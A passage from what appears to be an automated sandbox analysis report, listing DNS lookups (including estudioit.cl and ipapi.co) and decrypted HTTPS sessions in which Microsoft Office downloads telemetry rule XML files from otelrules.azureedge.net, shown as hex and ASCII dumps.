Nov 20, 2024 10:20:04.183351040 CET	53	63013	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:04.183371067 CET	53	57408	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:04.885340929 CET	61884	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:04.885504007 CET	53370	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:04.892626047 CET	53	61884	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:04.892637968 CET	53	53370	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:16.883997917 CET	53	57335	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:36.078788042 CET	53	58429	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:46.263240099 CET	138	138	192.168.2.9	192.168.2.255
Nov 20, 2024 10:20:58.443469048 CET	53	49174	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:58.652692080 CET	53	63137	1.1.1.1	192.168.2.9
Nov 20, 2024 10:21:02.877129078 CET	59479	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:21:02.877295971 CET	60010	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:21:02.886629105 CET	53	60010	1.1.1.1	192.168.2.9
Nov 20, 2024 10:21:02.886651993 CET	53	59479	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 10:20:00.405081034 CET	192.168.2.9	1.1.1.1	0x9641	Standard query (0)	www.google.ca	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:00.405220032 CET	192.168.2.9	1.1.1.1	0xb15e	Standard query (0)	www.google.ca	65	IN (0x0001)	false
Nov 20, 2024 10:20:01.768560886 CET	192.168.2.9	1.1.1.1	0x4edf	Standard query (0)	estudioit.cl	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:01.768785000 CET	192.168.2.9	1.1.1.1	0xeb25	Standard query (0)	estudioit.cl	65	IN (0x0001)	false
Nov 20, 2024 10:20:02.819945097 CET	192.168.2.9	1.1.1.1	0xcdb3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:02.820612907 CET	192.168.2.9	1.1.1.1	0xd6ad	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 10:20:03.938379049 CET	192.168.2.9	1.1.1.1	0xc35c	Standard query (0)	estudioit.cl	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:03.938594103 CET	192.168.2.9	1.1.1.1	0xd12d	Standard query (0)	estudioit.cl	65	IN (0x0001)	false
Nov 20, 2024 10:20:03.996597052 CET	192.168.2.9	1.1.1.1	0xecb	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:03.996941090 CET	192.168.2.9	1.1.1.1	0x1b61	Standard query (0)	ipapi.co	65	IN (0x0001)	false
Nov 20, 2024 10:20:04.885340929 CET	192.168.2.9	1.1.1.1	0x32f5	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:04.885504007 CET	192.168.2.9	1.1.1.1	0xcf97	Standard query (0)	ipapi.co	65	IN (0x0001)	false
Nov 20, 2024 10:21:02.877129078 CET	192.168.2.9	1.1.1.1	0xf3c9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:21:02.877295971 CET	192.168.2.9	1.1.1.1	0xf959	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 10:19:49.996813059 CET	1.1.1.1	192.168.2.9	0x665d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 10:19:49.996813059 CET	1.1.1.1	192.168.2.9	0x665d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:00.414340973 CET	1.1.1.1	192.168.2.9	0x9641	No error (0)	www.google.ca		142.250.186.131	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:00.415071964 CET	1.1.1.1	192.168.2.9	0xb15e	No error (0)	www.google.ca			65	IN (0x0001)	false
Nov 20, 2024 10:20:02.013782024 CET	1.1.1.1	192.168.2.9	0x4edf	No error (0)	estudioit.cl		173.248.187.77	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:02.828763008 CET	1.1.1.1	192.168.2.9	0xcdb3	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:02.830064058 CET	1.1.1.1	192.168.2.9	0xd6ad	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 10:20:04.004523039 CET	1.1.1.1	192.168.2.9	0xecb	No error (0)	ipapi.co		104.26.9.44	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:04.004523039 CET	1.1.1.1	192.168.2.9	0xecb	No error (0)	ipapi.co		172.67.69.226	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:04.004523039 CET	1.1.1.1	192.168.2.9	0xecb	No error (0)	ipapi.co		104.26.8.44	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:04.004724026 CET	1.1.1.1	192.168.2.9	0x1b61	No error (0)	ipapi.co			65	IN (0x0001)	false
Nov 20, 2024 10:20:04.183371067 CET	1.1.1.1	192.168.2.9	0xc35c	No error (0)	estudioit.cl		173.248.187.77	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:04.892626047 CET	1.1.1.1	192.168.2.9	0x32f5	No error (0)	ipapi.co		104.26.8.44	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:04.892626047 CET	1.1.1.1	192.168.2.9	0x32f5	No error (0)	ipapi.co		104.26.9.44	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:04.892626047 CET	1.1.1.1	192.168.2.9	0x32f5	No error (0)	ipapi.co		172.67.69.226	A (IP address)	IN (0x0001)	false
Nov 20, 2024 10:20:04.892637968 CET	1.1.1.1	192.168.2.9	0xcf97	No error (0)	ipapi.co			65	IN (0x0001)	false
Nov 20, 2024 10:21:02.886629105 CET	1.1.1.1	192.168.2.9	0xf959	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 10:21:02.886651993 CET	1.1.1.1	192.168.2.9	0xf3c9	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

www.google.ca

estudioit.cl

https:

ipapi.co

fs.microsoft.com

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.9	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:50 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:50 UTC	492	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:50 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091950Z-r1d97b99577l6wbzhC1TEB3fwn00000008s0000000008h76 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:50 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 09:19:50 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-20 09:19:50 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-20 09:19:50 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-20 09:19:50 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-20 09:19:50 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-20 09:19:50 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-20 09:19:51 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-20 09:19:51 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-20 09:19:51 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.9	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:51 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:51 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091951Z-185f5d8b95c5lcmhhC1NYCsnsw00000009z000000000m8q0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:51 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.9	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:51 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:51 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091951Z-r1d97b9957747b9jhC1TEBgyec00000008s0000000008d1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:19:51 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.9	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:19:51 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:19:51 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:19:51 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T091951Z-1777c6cb754gvvgfhC1TEBz4rg00000009b000000000h3mn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:19:51 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" 